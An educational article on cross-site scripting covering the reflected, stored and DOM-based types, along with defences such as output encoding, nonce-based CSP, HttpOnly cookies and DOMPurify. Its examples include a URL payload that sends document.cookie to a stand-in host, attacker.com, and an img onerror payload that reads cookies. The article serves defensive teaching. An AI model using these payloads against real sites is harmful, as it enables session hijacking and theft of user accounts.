Cross-Site Scripting (XSS) allows attackers to inject malicious scripts into web pages viewed by other users. Despite being well-known for over two decades, XSS consistently ranks in the OWASP Top 10 and is found in millions of web applications — including major platforms. Understanding how it works is the first step to preventing it.

What Is XSS?

XSS occurs when an application includes untrusted data in a web page without proper output encoding. When a victim's browser renders the page, it executes the injected script in the context of the vulnerable site. The attacker's code runs as if it were part of the legitimate application — with access to cookies, session tokens, DOM content, and the ability to make requests as the victim.

The Three Types of XSS

1. Reflected XSS

The malicious script is embedded in the URL and "reflected" back to the user in the response. The attack requires tricking the victim into clicking a crafted link.

https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

If the application renders the query parameter directly in the page (Results for: <user input>) without encoding, the script executes in the victim's browser. Reflected XSS is not stored — each victim needs to click the malicious link.

2. Stored (Persistent) XSS

The payload is stored in the application's database and served to every user who views the affected page. This is significantly more dangerous because no individual link delivery is needed — every visitor to a comment section, user profile, or forum post is automatically attacked.

Example: an attacker posts a comment containing <script>...</script> on a blog. Every reader who loads the page executes the script.

3. DOM-Based XSS

The vulnerability exists entirely in client-side JavaScript, not in the server's response. User-controlled data from sources like location.hash, document.referrer, or window.name is passed unsafely to dangerous sinks like innerHTML, eval(), or document.write().

// Vulnerable
document.getElementById('greeting').innerHTML = 'Hello, ' + location.hash.slice(1);

// Attacker visits:
// https://example.com/page#<img src=x onerror=alert(document.cookie)>

What Attackers Can Do with XSS

How to Prevent XSS

Output Encoding (Primary Defense)

Encode all data before inserting it into HTML. Use context-appropriate encoding:

Modern templating engines like Jinja2, Twig, and Thymeleaf auto-escape HTML by default. Never use the "raw" or "safe" filter on user-supplied data.

Content Security Policy (CSP)

CSP is an HTTP header that tells browsers which sources of scripts, styles, and other resources are legitimate. A strict CSP prevents injected scripts from executing even if encoding is missed:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'

The nonce approach is most effective: each response includes a unique, random nonce value. Inline scripts only execute if they carry the matching nonce — inline scripts injected by an attacker do not have it.

HttpOnly Cookies

Setting the HttpOnly flag on session cookies prevents JavaScript from reading them — this eliminates the most common XSS objective (session hijacking) even when XSS is present.

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict

DOM-Based XSS Prevention

Avoid passing user-controlled data to dangerous sinks. Use textContent instead of innerHTML. If you must render HTML, use a trusted sanitization library like DOMPurify.

// Vulnerable
element.innerHTML = userInput;

// Safe
element.textContent = userInput;

// Safe when HTML is needed
element.innerHTML = DOMPurify.sanitize(userInput);

Detecting XSS

Automated scanners test for reflected XSS by injecting benign detection markers (like <shieldome-probe>) into parameters and checking whether the marker appears unencoded in the response. Stored XSS requires deeper testing with knowledge of where data flows. DOM-based XSS requires JavaScript analysis or browser-level testing with headless browsers.

Use defense in depth: output encoding prevents injection, CSP limits the impact of any that slips through, and HttpOnly cookies protect session tokens even in the worst case.